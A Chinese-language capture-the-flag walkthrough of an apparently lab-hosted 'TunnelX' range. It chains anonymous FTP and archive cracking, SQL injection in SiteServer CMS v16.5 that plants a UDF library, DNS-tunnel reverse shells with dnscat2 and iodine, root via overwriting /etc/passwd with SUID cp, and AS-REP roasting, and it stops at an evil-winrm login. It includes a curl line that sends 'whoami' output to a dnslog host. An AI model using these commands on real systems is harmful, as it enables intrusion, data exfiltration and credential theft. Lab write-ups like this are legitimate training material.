

TunnelX

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外网信息搜集打SiteServer v16.5数据库

外网信息搜集：

- 80端口有个SiteServer CMS版本为v16.5
- 2121端口有个允许匿名登录的FTP服务，该FTP服务下有个secret.7z

下载secret.7z (这里Mac下载不下来，用Linux的ftp可以下载)

```
Plain Text |  
1  ftp 39.99.238.69 2121  
2  anonymous  
3  dir  
4  get secret.7z
```

下载下来之后，secret.7z打开需要密码，先将其转换为john格式，然后再用john去爆破密码（这里完整跑完john需要48个小时，但密码的位置比较靠前，大约1分钟左右就能跑出来了）

密码为13131313，注意要用7z命令去解压，Mac解压输入密码会失败

```
1 7z2john secret.7z >1.txt  
2 john 1.txt --wordlist=/usr/share/wordlists/rockyou.txt  
3 7z x secret.7z
```

```
[root@kali]~-[~/home/.../Desktop/tmp/yunjing/TunnelX]
# john 1.txt --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (7z, 7-Zip archive encryption [SHA256 128/128 AVX 4x AES])
Cost 1 (iteration count) is 524288 for all loaded hashes
Cost 2 (padding size) is 8 for all loaded hashes
Cost 3 (compression type) is 1 for all loaded hashes
Cost 4 (data length) is 104 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:33 0.01% (ETA: 2023-10-26 17:51) 0g/s 78.45p/s 78.45c/s 78.45C/s declan..christian1
0g 0:00:00:40 0.02% (ETA: 2023-10-26 18:12) 0g/s 77.99p/s 77.99c/s 77.99C/s billy1..whatsup
0g 0:00:01:23 0.04% (ETA: 2023-10-26 19:26) 0g/s 75.77p/s 75.77c/s 75.77C/s Andrew..death1
0g 0:00:01:30 0.04% (ETA: 2023-10-26 19:40) 0g/s 75.48p/s 75.48c/s 75.48C/s fredperry..3333333
1313131313 (secret.7z)
1g 0:00:01:33 DONE (2023-10-24 03:30) 0.01073g/s 75.39p/s 75.39c/s 75.39C/s bizkit..palace
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
```

解压之后有一个secret.txt，给个一个uuid，这是SiteServer CMS的API密钥

1 7z x secret.7z

```
(root㉿ kali)-[~/home/.../Desktop/tmp/yunjing/TunnelX]
# cat secret.txt
```

A strange character string, You're the only one I'm telling
e7d41890-5742-48f0-9f3c-1393db541fc7

80端口有SiteServer v16.5服务，该版本后台存在SQL注入：

- https://github.com/siteserver/cms/issues/3237

https://github.com/siteserver/cms/issues/3237

Open

SQL 注入 #3237

sobinge opened this issue on Oct 15, 2021 · 0 comments

```
Content-Type: application/json; charset=utf-8
Content-Length: 87
Origin: http://192.168.39.3:8055
Connection: close
Referer: http://192.168.39.3:8055/SiteServer/cms/libraryText.cshtml?siteId=1
Cookie: BAIRONG.VC.ADMINLOGIN=oeLExOp9UBM0equals0;
ss_administrator_access_token=M3ENla3NKJJ39JCRHnY4PgfJqMc7IfjggL0e9S06Bs9ubZE90add0xM2aesla0add0Cxo8X
e5VzrSanerzFU8oZaMXCC9KMexdw29flk6uNSSoY4Pa0add0BOZfzRwKT2t3LglumO4sTUKSz0slash0ubJ9QajCyTsKpmbPu7
yv20add08zpsQyVPpl3TuMITkOCIX1EwcC7CeIJ50slash0XQ9d0slash0oR8ECV0add0690add0eXRHbElmnZsLBSrhv7KML0J
huevbhvcjs0equals0; ASP.NET_SessionId=l3tothqrmzbgljaogh1uof3y; SS-ADMIN-
TOKEN=z69iWbk6QAgWtUmPiJBXdD7vXmikE7IMRbVVfh0add00xyMUHXn13zDSbfJyodBLcAQuP9kU0slash0F7SybZwZUK
7ER9csWj0ODr7NgSqXfVWABfJpKMxGuT2wQudsXkhDU9JMvsknIPV5cKDS0UUwsItxWt94dwYeCgnKabl82uiN53cZg92iN
HdF5LIWO0add0JnX0add0Vqb0XIViYPb4l3CUTpPq0add0bKGxRk56DSZLeLh9qV0jhotDI0equals0secret0; SS-LOGIN-
CAPTCHA=pyXvibgttyM0equals0secret0
Cache-Control: max-age=0
```

```
{"siteId":1,"keyword":""," and 1=(select @@Version)--","groupId":0,"page":1,"perPage":24}`
```

Request	Response
<pre>POST /api/pages/cms/libraryText/list HTTP/1.1 Host: 192.168.39.3:8055 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:92.0) Gecko/20100101 Firefox/92.0 Accept: application/json, text/plain, */* Accept-Language: zh-CN, zh-CN, zh-TW;q=0.7, zh-HK;q=0.3, en-US;q=0.1 Accept-Encoding: gzip, deflate Content-Type: application/json; charset=utf-8 Origin: http://192.168.39.3:8055 Content-Length: 87 Connection: close Referer: http://192.168.39.3:8055/SiteServer/cms/libraryText.cshtml?siteId=1 Cookie: BAIRONG.VC.ADMINLOGIN=oeLExOp9UBM0equals0; ss_administrator_access_token=M3ENla3NKJJ39JCRHnY4PgfJqMc7IfjggL0e9S06Bs9ubZE90add0xM2aesla0add0Cxo8X e5VzrSanerzFU8oZaMXCC9KMexdw29flk6uNSSoY4Pa0add0BOZfzRwKT2t3LglumO4sTUKSz0slash0ubJ9QajCyTsKpmbPu7 yv20add08zpsQyVPpl3TuMITkOCIX1EwcC7CeIJ50slash0XQ9d0slash0oR8ECV0add0690add0eXRHbElmnZsLBSrhv7KML0J huevbhvcjs0equals0; ASP.NET_SessionId=l3tothqrmzbgljaogh1uof3y; SS-ADMIN- TOKEN=z69iWbk6QAgWtUmPiJBXdD7vXmikE7IMRbVVfh0add00xyMUHXn13zDSbfJyodBLcAQuP9kU0slash0F7SybZwZUK 7ER9csWj0ODr7NgSqXfVWABfJpKMxGuT2wQudsXkhDU9JMvsknIPV5cKDS0UUwsItxWt94dwYeCgnKabl82uiN53cZg92iN HdF5LIWO0add0JnX0add0Vqb0XIViYPb4l3CUTpPq0add0bKGxRk56DSZLeLh9qV0jhotDI0equals0secret0; SS-LOGIN- CAPTCHA=pyXvibgttyM0equals0secret0 Cache-Control: max-age=0</pre>	<pre>HTTP/1.1 500 Internal Server Error Content-Type: application/json; charset=utf-8 Content-Length: 1025 Date: Wed, 15 Oct 2021 07:41:26 GMT Server: Microsoft-IIS/8.5 Access-Control-Allow-Origin: http://192.168.39.3:8055 Access-Control-Allow-Credentials: true X-Powered-By: ASP.NET Connection: Close</pre>
	<pre>1 {"error": "2140232069", "state": 1, "server": "192.168.39.3", "procedure": "", "number": 240, "lineNumber": 1, "class": 16, "clientConnectionString": "SS-ADMIN-TOKEN=z69iWbk6QAgWtUmPiJBXdD7vXmikE7IMRbVVfh0add00xyMUHXn13zDSbfJyodBLcAQuP9kU0slash0F7SybZwZUK 7ER9csWj0ODr7NgSqXfVWABfJpKMxGuT2wQudsXkhDU9JMvsknIPV5cKDS0UUwsItxWt94dwYeCgnKabl82uiN53cZg92iN HdF5LIWO0add0JnX0add0Vqb0XIViYPb4l3CUTpPq0add0bKGxRk56DSZLeLh9qV0jhotDI0equals0secret0", "innerException": "Microsoft SQL Server 2016 Enterprise Edition - 12.0.5300.0 (Build 9686) (Hyper-V) 特殊的数据类型 int 的失败。", "procedure": "", "lineNumber": 1}, "discriminator": "SqlException", "message": "在表 'master..syscolumns' 上 对列 'int' 的插入操作失败。", "stackTrace": "at System.Data.SqlClient.SqlConnection.OnError(SqlException exception, Boolean breakConnection, Action<SqlException> wrapHandler)", "source": ".Net SqlClient Data Provider", "innerException": null}</pre>

SiteServer CMS提供了使用Header的API认证方式代替账号密码登录，因此，我们拥有了API之后，可以调用后台的接口进而造成SQL注入

- https://sscms.com/docs/v6/api/guide/authentication.html#%E4%BD%BF%E7%94%A8-api-

```
%E5%AF%86%E9%92%A5%E8%BF%9B%E8%A1%8C%E8%BA%AB%E4%BB%BD%E8%
AE%A4%E8%AF%81
```

通过 Header 发送 API 密钥

使用 Header 方法送 API 密钥需要在发起请求时将密钥放到 X-SS-API-KEY Header 中：

请求

```
POST https://example.com/api/v1/contents HTTP/1.1
```

请求 Header

```
X-SS-API-KEY: 7cd22002-27a7-4c5d-ba4d-a1c108a20eaf
```

响应

```
200
```

精简的后台SQL注入请求包如下，后面的内容都从这个数据包展开：

```
1 POST /api/pages/cms/libraryText/list HTTP/1.1
2 Host: 39.99.238.209
3 X-SS-API-KEY: e7d41890-5742-48f0-9f3c-1393db541fc7
4 Content-Type: application/json
5 Content-Length: 127
6
7 {"siteId":1,"keyword":"'";select sys_eval('curl `whoami` .xwqn3w.dnslog.cn')-- ",
"groupId":0,"page":1,"perPage":24}
```

Request

Pretty Raw Hex \n ⌂

```
1 POST /api/pages/cms/libraryText/list HTTP/1.1
2 Host: 39.99.238.209
3 X-SS-API-KEY: e7d41890-5742-48f0-9f3c-1393db541fc7
4 Content-Type: application/json
5 Content-Length: 127
6
7 {
  "siteId":1,
  "keyword":"'";select sys_eval('curl `whoami` .xwqn3w.dnslog.cn')-- ",
  "groupId":0,
  "page":1,
  "perPage":24
}
```

利用DNS隧道反弹shell和代理

经过测试，这里Web服务和MySQL数据库是分开的，并且MySQL数据库的TCP是不出网的，但DNS出网（可以用curl外带部分命令结果），所以我们需要搭建DNS隧道（而不是TCP隧道）

此时我们只能执行SQL语句，如果想要执行命令，可以采用加载udf.so的方式执行命令，由于加载udf.so的数据包比较大，这里就不在文中贴出来了，脚本已经放在了Github上：

- <https://github.com/LxxxSec/TunnelX/blob/master/udf-dnscat.py>

执行udf-dnscat.py后，会写入udf.so，创建sys_eval函数，并且写入dnscat工具，dnscat工具可以实现利用DNS隧道反弹shell

TunnelX / udf-dnscat.py [blob](#) [...](#)

LxxxSec Create udf-dnscat.py 4ba869b · 3 hours ago [History](#)

[Code](#) [Blame](#) 35 lines (28 loc) · 266 KB [Code 55% faster with GitHub Copilot](#) [Raw](#) [Copy](#) [Download](#) [Edit](#) [View](#)

```
1 import requests
2 import uuid
3
4 def file_to_hex(file_path):
5     with open(file_path, 'rb') as file:
6         content = file.read()
7     return content.hex()
8
9 ip = "39.99.227.73"
10 url = f"http://{ip}/api/pages/cms/libraryText/list"
11 header = {
12     "X-SS-API-KEY": "e7d41890-5742-48f0-9f3c-1393db541fc7"
13 }
14
15 # 写入 udf.so
16 data = {"siteId":1,"keyword":"1';SELECT 0x7f454c46020101000000000000000003003e0001000000d00c00000000000040000000000000000e8180000000000000000000000000040
17 requests.post(url, json=data, headers=header)
18
19 # 创建 sys_eval 函数
20 data = {"siteId":1,"keyword":"1';CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.so';-- ","groupId":0,"page":1,"perPage":24}
21 requests.post(url, json=data, headers=header)
22
23 # 写入 /tmp/dnscat
24 data = {"siteId":1,"keyword":"1';SELECT 0x7f454c460201010000000000000000002003e00010000007f1f400000000004000000000000000a0eb0100000000000000000040
25 requests.post(url, json=data, headers=header)
```

DNS反弹shell的方式如下：

首先需要有一台云服务器（下文用1.1.1.1代替）和一个域名（下文用example.com代替），然后做一下DNS解析配置：

- 设置一个A记录，将test.example.com解析到1.1.1.1
- 再设置一个NS记录，将ns1.example.com解析到test.example.com

A	test	1.1.1.1	仅 DNS	自动	编辑
NS	ns1	test.example.com	仅 DNS	自动	编辑

接着确保vps的53端口UDP协议处于开放状态，然后把vps中占用53端口的DNS服务关掉：

▼

Plain Text |

```
1 systemctl stop systemd-resolved
```

接着在vps上启动dnscat的服务端，这里我就用docker启动，密码设置为datou，这里的ns1.example.com替换为自己的域名：

▼

```
1 docker run -p 53:53/udp -it --rm mpercival/dnscat2 ruby ./dnscat2.rb ns1.example.com -c datou
```

Plain Text |

出现下方这个页面就是启动成功了：

```
Of course, you have to figure out <server> yourself! Clients  
will connect directly on UDP port 53.
```

```
dnscat2> New window created: 1
```

然后利用后台的SQL注入去运行靶机中的dnscat客户端去与vps中的服务端相连：

▼

HTTP |

```
1 POST /api/pages/cms/libraryText/list HTTP/1.1  
2 Host: 39.99.227.73  
3 X-SS-API-KEY: e7d41890-5742-48f0-9f3c-1393db541fc7  
4 Content-Type: application/json  
5 Content-Length: 123  
6  
7 {"siteId":1,"keyword":"'";select sys_eval('/tmp/dnscat --secret=datou ns1.example.com')-- ","groupId":0,"page":1,"perPage":24}
```

不出意外的话，应该能将shell反弹到vps上：

- windows就类比msf中的sessions
- 然后用window -i进入到session中
- 运行shell就会新增一个session
- 再用window -i进入到shell的session即可执行命令

▼

Plain Text |

```
1 windows  
2 window -i 1  
3 shell  
4 window -i 2
```

```
dnscat2> Session 1 Security: ENCRYPTED AND VERIFIED!
(the security depends on the strength of your pre-shared secret!)
windows
0 :: main [active]
    crypto-debug :: Debug window for crypto stuff [*]
    dns1 :: DNS Driver running on 0.0.0.0:53 domains = ns1.██████ | [*]
    1 :: command (MYSQL) [encrypted and verified] [*]
dnscat2> window -i 1
New window created: 1
history_size (session) => 1000
Session 1 Security: ENCRYPTED AND VERIFIED!
(the security depends on the strength of your pre-shared secret!)
This is a command session!

That means you can enter a dnscat2 command such as
'ping'! For a full list of clients, try 'help'.

command (MYSQL) 1> shell
Sent request to execute a shell
command (MYSQL) 1> New window created: 2
Shell session created!
```

如下图所示，可以正常执行命令了

```
sh (MYSQL) 2> New window created: 3

sh (MYSQL) 2> ls
sh (MYSQL) 2> auto.cnf
ibdata1
ib_logfile0
ib_logfile1
mysql
performance_schema
sscems
test

sh (MYSQL) 2> cd /tmp
sh (MYSQL) 2> ls
sh (MYSQL) 2> 1896500b-a5a2-4360-b972-07d4f6ac0c40
AliyunAssistClientSingleLock.lock
aliyun_assist_service.sock
argus.sock
d55d2b04-ec71-4240-a3a0-57f8d6310056
dnscat
```

常规suid提权，发现cp可以利用

```
sh (MYSQL) 3> find / -perm -u=s -type f 2>/dev/null
sh (MYSQL) 3> /bin/fusermount
/bin/ping6
/bin/mount
/bin/su
/bin/ping
/bin/umount
/bin/cp
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/at
/usr/bin/staprun
/usr/bin/passwd
/usr/bin/chsh
/usr/bin/sudo
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/s-nail/s-nail-privsep
```

有了cp命令，我们可以写入/etc/passwd设置root用户密码，下方命令会生成一个登录密码为123456的哈希

```
▼ Plain Text |
```

```
1 openssl passwd -6 -salt 1 123456
2 # $6$1$j.74UuJkzzPKyD/cMaD1PygML3gwSnc87gsickCF6s05D8UuHzTbK0DtUbI1257QK03GEHXpdFFmjPewVtaI0
```

完整的passwd文件我也放到了Github上：

- <https://github.com/LxxxSec/TunnelX/blob/master/passwd>

```
Code Blame 30 lines (30 loc) · 1.62 KB GitHub Copilot Raw □ ↴ ↵ ⌂
```

```
1 root:$6$1$j.74UuJkzzPKyD/cMaD1PygML3gwSnc87gsickCF6s05D8UuHzTbK0DtUbI1257QK03GEHXpdFFmjPewVtaI0:0:0:root:/root:/bin/bash
2 daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
3 bin:x:2:2:bin:/bin:/usr/sbin/nologin
4 sys:x:3:3:sys:/dev:/usr/sbin/nologin
5 sync:x:4:65534:sync:/bin:/bin/sync
6 games:x:5:60:games:/usr/games:/usr/sbin/nologin
7 man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
8 lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
9 mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
10 news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
11 uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
12 proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
```

运行passwd.py，将伪造好的passwd写入到/tmp/passwd1中

- <https://github.com/LxxxSec/TunnelX/blob/master/passwd.py>

然后我们再进入终端，用cp把/tmp/passwd1覆盖到/etc/passwd，这样我们就可以登录到root用户了，注意通过su登录需要可交互式shell，用python获取一下可交互式shell即可

```

1 cp /tmp/passwd1 /etc/passwd
2 python -c 'import pty;pty.spawn("/bin/bash")'
3 su root
4 123456

```

```

sh (MYSQL) 2> python -c 'import pty;pty.spawn("/bin/bash")'
sh (MYSQL) 2> mysql@MYSQL:/tmp$
sh (MYSQL) 2>
mysql@MYSQL:/tmp$ ls
sh (MYSQL) 2> ls
8ab829bf-0e0e-4216-bdd9-63ef9cc8ba02    argus.sock  passwd1
AliyunAssistClientSingleLock.lock          dnscat
aliyun_assist_service.sock                 passwd
mysql@MYSQL:/tmp$ tty
sh (MYSQL) 2> tty
/dev/pts/0
mysql@MYSQL:/tmp$ su root
sh (MYSQL) 2> su root
Password: 123456
sh (MYSQL) 2>
root@MYSQL:/tmp# |

```

至此我们就拿到了root用户权限，读取/root/flag下的flag

```

sh (MYSQL) 2> cd /root/flag
root@MYSQL:~/flag# ls
sh (MYSQL) 2> ls
flag02.txt
root@MYSQL:~/flag# cat flag02.txt
sh (MYSQL) 2> cat flag02.txt

```



```

flag02: flag{72817c06-8eca-40c1-bf0b-baf982baed1b}
root@MYSQL:~/flag#

```

但我们还没完成代理的操作，我们可以使用iodine做个DNS代理

首先上传iodine，脚本如下，项目目录里我也放了iodine二进制文件，直接替换IP运行即可

- <https://github.com/LxxxSec/TunnelX/blob/master/iodine.py>

该脚本做了分段传输，运行之后，文件会写到/tmp/iodine中，传完记得验证一下md5，一般是不会有问题是的，如果后面隧道一直搭建失败那就是文件传歪了，重新传即可

```
sh (MYSQL) 2> md5sum iodine
4d4718d4eeaacedec9e0ca207f00e6ca  iodine
root@MYSQL:/tmp#
```

```
💡 ~Desktop/云镜/TunnelX ➔ md5 iodine
MD5 (iodine) = 4d4718d4eeaacedec9e0ca207f00e6ca
💡 ~Desktop/云镜/TunnelX ➔
```

这里会遇到一个问题，dnscat和iodine都依赖53端口，照理来说应该要两台vps，那么我们如何在一台vps、一个域名的情况下完成代理呢？

答案是：让程序挂后台sleep一会。

iodine的工作原理是：在vps中启动一个服务端，会创建一个dns0虚拟网卡，然后我们在靶机中运行客户端，同样也会在客户端创建一个虚拟网卡dns0，然后去连接vps中53端口的服务端，这样靶机的机器就被加入了dns0虚拟网卡上，注意靶机需要以root权限运行iodine

在靶机中以root权限运行下方命令

```
1 chmod +x /tmp/iodine
2 nohup sleep 10 && /tmp/iodine -f -P datou ns1.example.com &
```

然后快速掐掉dnscat的docker容器，再在vps上启动一个iodine服务端，等待靶机回连：

- 下方命令会创建一个192.168.0.1网段的虚拟网卡

```
1 iodined -f -c -P datou 192.168.0.1 ns1.example.com -DD
```

执行上方命令后，如果看到有dns回连的记录，应该就是成功了，上线的靶机会分配到192.168.0.2这个IP，由于靶机有装ssh服务，我们直接在vps中用ssh连接即可：

```
1 ssh root@192.168.0.2
2 123456
```

```

root@izbp1383:~# ssh root@192.168.0.2
The authenticity of host '192.168.0.2 (192.168.0.2)' can't be established.
ECDSA key fingerprint is SHA256:HzVzCULMYJ0HmJIhGgf8vDOwM9frNmAk1XQKDxhUdlw.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.0.2' (ECDSA) to the list of known hosts.
root@192.168.0.2's password:
Welcome to Ubuntu 16.04.7 LTS (GNU/Linux 4.4.0-210-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

Welcome to Alibaba Cloud Elastic Compute Service !

Last login: Tue Sep 12 17:57:50 2023 from 36.112.10.102
root@MYSQL:~# ls
flag

```

然后在vps上，用ssh命令创建一个socks代理：

```
1 ssh -N -D 29999 root@192.168.0.2
```

运行上方命令后，输入密码，会在vps的localhost监听29999端口，注意是localhost，不是0.0.0.0

所以我们还需要利用frp把vps的29999端口映射到外部的39999端口，配置文件如下：

```

1 [common]
2 server_addr = 1.1.1.1
3 server_port = 7000
4
5 [yj]
6 type = tcp
7 local_ip = 127.0.0.1
8 local_port = 29999
9 remote_port = 39999

```

这样，我们就在vps的39999端口上启动了一个通向靶机内网的socks5代理：

```

root@izbp1383:~/yc/frp# ./frpc -c http.ini
2023/10/30 09:55:38 [I] [service.go:234] login to server success, get run id [ba529a45b54
p port [0]
2023/10/30 09:55:38 [I] [proxy_manager.go:144] [ba529a45b5455392] proxy added: [yj]
2023/10/30 09:55:38 [I] [control.go:153] [yj] start proxy success

```

配置一下proxychains验证一下，能访问SiteServer CMS即可

```

[root@kali]~[~/home/kali/Desktop]
# proxychains curl 172.22.61.50
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
<!DOCTYPE html>
<html class="no-js" lang="en">
<head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=no, maximum-scale=1, shrink-to-fit=no">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <title>Zosimos</title>
    <link rel="stylesheet" type="text/css" href="/css/animate.css">
    <link rel="stylesheet" type="text/css" href="/css/bootstrap.css">
    <link rel="stylesheet" type="text/css" href="/css/style.css">
    <script src="/js/modernizr.custom.js"></script>
</head>
<body class="withAnimation">
    <div id="boxedWrapper">
        <nav class="navbar navbar-default navbar-static-top" role="navigation">
            <div class="container">
                <div class="navbar-header">
                    <button type="button" class="navbar-toggle" data-toggle="collapse" data-target=".navbar-collapse">
                        <span class="sr-only">Toggle navigation</span>

```

内网信息搜集

代理挂好了，就该做内网信息搜集了，我们搜集172.22.61.0/24段即可

```

sh (MYSQL) 7> ifconfig
sh (MYSQL) 7> eth0      Link encap:Ethernet  HWaddr 00:16:3e:25:44:d4
                  inet addr:172.22.61.41  Bcast:172.22.255.255  Mask:255.255.0.0
                  inet6 addr: fe80::216:3eff:fe25:44d4/64 Scope:Link
                      UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
                      RX packets:86852 errors:0 dropped:0 overruns:0 frame:0
                      TX packets:29451 errors:0 dropped:0 overruns:0 carrier:0
                      collisions:0 txqueuelen:1000
                      RX bytes:100652469 (100.6 MB)  TX bytes:8449321 (8.4 MB)

lo       Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
              UP LOOPBACK RUNNING  MTU:65536  Metric:1
              RX packets:36 errors:0 dropped:0 overruns:0 frame:0
              TX packets:36 errors:0 dropped:0 overruns:0 carrier:0
              collisions:0 txqueuelen:1
              RX bytes:1900 (1.9 KB)  TX bytes:1900 (1.9 KB)

```

先用scp把fscan传输过去（因为是DNS代理，所以传输文件也挺慢的，耐心等待并验证md5即可）

```

▼ Plain Text |
```

```

1 scp fscan_amd64 root@192.168.0.2:/tmp/fscan_amd64

```

```

root@izbp1383:~/Lxxx/fscan# scp fscan_amd64 root@192.168.0.2:/tmp/fscan_amd64
root@192.168.0.2's password: fscan_amd64
51% 2736KB 210.9KB/s 00:12 ETA

```

搜集到的结果如下：

- 172.22.61.41、MySQL数据库
- 172.22.61.17、XIAORANG\DC
- 172.22.61.50、XIAORANG\WEB、外网SiteServer CMS
- 172.22.61.34、XIAORANG\WIN2012

AS-REP Roasting进入域内

经过测试， DC的ldap服务可以匿名访问， 所以用ldapsearch查询所有域用户

```
1 proxychains ldapsearch -H ldap://172.22.61.17 -b "DC=xiaorang,DC=lab" -x |grep ',CN=Users,DC=xiaorang,DC=lab'
```

```
(root㉿kali)-[~/home/kali/Desktop/tools/windapsearch-linux-amd64]
# proxychains ldapsearch -H ldap://172.22.61.17 -b "DC=xiaorang,DC=lab" -x |grep ',CN=Users,DC=xiaorang,DC=lab'
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
dn: CN=Administrator,CN=Users,DC=xiaorang,DC=lab
dn: CN=Guest,CN=Users,DC=xiaorang,DC=lab
distinguishedName: CN=Guest,CN=Users,DC=xiaorang,DC=lab
dn: CN=DefaultAccount,CN=Users,DC=xiaorang,DC=lab
dn: CN=krbtgt,CN=Users,DC=xiaorang,DC=lab
dn: CN=Domain Computers,CN=Users,DC=xiaorang,DC=lab
dn: CN=Domain Controllers,CN=Users,DC=xiaorang,DC=lab
dn: CN=Schema Admins,CN=Users,DC=xiaorang,DC=lab
dn: CN=Enterprise Admins,CN=Users,DC=xiaorang,DC=lab
dn: CN=Cert Publishers,CN=Users,DC=xiaorang,DC=lab
dn: CN=Domain Admins,CN=Users,DC=xiaorang,DC=lab
dn: CN=Domain Users,CN=Users,DC=xiaorang,DC=lab
dn: CN=Domain Guests,CN=Users,DC=xiaorang,DC=lab
dn: CN=Group Policy Creator Owners,CN=Users,DC=xiaorang,DC=lab
dn: CN=RAS and IAS Servers,CN=Users,DC=xiaorang,DC=lab
dn: CN=Allowed RODC Password Replication Group,CN=Users,DC=xiaorang,DC=lab
dn: CN=Denied RODC Password Replication Group,CN=Users,DC=xiaorang,DC=lab
dn: CN=Read-only Domain Controllers,CN=Users,DC=xiaorang,DC=lab
dn: CN=Enterprise Read-only Domain Controllers,CN=Users,DC=xiaorang,DC=lab
dn: CN=Cloneable Domain Controllers,CN=Users,DC=xiaorang,DC=lab
```

域用户列表同样在Github上有存：

- <https://github.com/LxxxSec/TunnelX/blob/master/user.txt>

看看这些域用户是否开启了“不要求Kerberos预身份验证”选项

```
1 proxychains python3 GetNPUsers.py -dc-ip 172.22.61.17 -usersfile ../../tmp/yunjing/TunnelX/user.txt xiaorang.lab/
```

```
[root@kali]~[/home/.../Desktop/tools/impacket/examples]
# proxychains python3 GetNPUsers.py -dc-ip 172.22.61.17 -usersfile ../../tmp/yunjing/TunnelX/user.txt xiaorang.lab/
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
Impacket v0.10.1.dev1+20230223.202738.f4b848fa - Copyright 2022 Fortra

[-] User wangmei doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User zhangjing doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User wangyong doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User huangyong doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User lixiang doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User chenlei doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User yangjie doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User zhangjun doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$yangdming@XIAORANG.LAB:324cd949cb813b90b13219fc6bbbd6e$1b4b3d2bc2c3d754e74e425e18c759c35a27a12341d4e41bd40248d60b4c5c064dcc
2ecd7e17571022465b61db5fa98c7826a4fe8e132bb895c48fbcdcd8f011c97ee741d716ca1401ba24a3fd01d72d95071d447a1def6d8cebb9e57108fa3ac2f235b86b281a
198e84518fa06b0c3c8d0a8c51a025693ee5e8a23f7757499daf2a336bf26acb952bf814f891c435799221124c94d68a78c44e632eb1a8a6ab599e456cc037f89dee504cf5
6dcc1d8bef6f619cc7a3172be4d13430873588028dd547e3026ef229e4b545c825f14583baa7c2f0b94e6304a01021bb6fd5173cb2213060727b3e97c533277e
[-] User zhangmei doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User wangrong doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User zhangpeng doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User liuyun doesn't have UF_DONT_REQUIRE_PREAUTH set
```

发现yangdming开启了该选项，爆破出来密码为kier@n10

```
Plain Text |
```

```
1 hashcat -m 18200 '$krb5asrep$23$yangdming@XIAORANG.LAB:324cd949cb813b90b132
19cf6bbbd6e$1b4b3d2bc2c3d754e74e425e18c759c35a27a12341d4e41bd40248d60b4c5c
064dcc2ecd7e17571022465b61db5fa98c7826a4fe8e132bb895c48fbcdcd8f011c97ee741d
716ca1401ba24a3fd01d72d95071d447a1def6d8cebb9e57108fa3ac2f235b86b281a198e84
518fa06b0c3c8d0a8c51a025693ee5e8a23f7757499daf2a336bf26acb952bf814f891c4357
99221124c94d68a78c44e632eb1a8a6ab599e456cc037f89dee504cf56dcc1d8bef6f619cc7
a3172be4d13430873588028dd547e3026ef229e4b545c825f14583baa7c2f0b94e6304a0102
1bb6fd5173cb2213060727b3e97c533277e' /usr/share/wordlists/rockyou.txt --for
ce
```

```
$krb5asrep$23$yangdming@XIAORANG.LAB:324cd949cb813b90b13219fc6bbbd6e$1b4b3d2bc2c3d754e74e425e18c759c35a27a12341d4e41bd40248d60b4c5c064dcc
2ecd7e17571022465b61db5fa98c7826a4fe8e132bb895c48fbcdcd8f011c97ee741d716ca1401ba24a3fd01d72d95071d447a1def6d8cebb9e57108fa3ac2f235b86b281a
198e84518fa06b0c3c8d0a8c51a025693ee5e8a23f7757499daf2a336bf26acb952bf814f891c435799221124c94d68a78c44e632eb1a8a6ab599e456cc037f89dee504cf5
6dcc1d8bef6f619cc7a3172be4d13430873588028dd547e3026ef229e4b545c825f14583baa7c2f0b94e6304a01021bb6fd5173cb2213060727b3e97c533277e:kier@n10

Session.....: hashcat
Status.....: Cracked
Hash.Mode.....: 18200 (Kerberos 5, etype 23, AS-REP)
Hash.Target....: $krb5asrep$23$yangdming@XIAORANG.LAB:324cd949cb813b...33277e
Time.Started...: Sun Oct 29 22:18:37 2023, (4 secs)
Time.Estimated...: Sun Oct 29 22:18:41 2023, (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.....: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue.....: 1/1 (100.00%)
Speed.#1.....: 1751.0 kB/s (0.81ms) @ Accel:512 Loops:1 Thr:1 Vec:8
Recovered.....: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.....: 6590464/14344385 (45.94%)
```

没法直接PTH去连，可以用evil-winrm连接

```
Plain Text |
```

```
1 proxychains evil-winrm -i 172.22.61.34 -u yangdming -p kier@n10
```

```
[root@kali]~[/home/.../Desktop/tmp/yunjing/TunnelX]
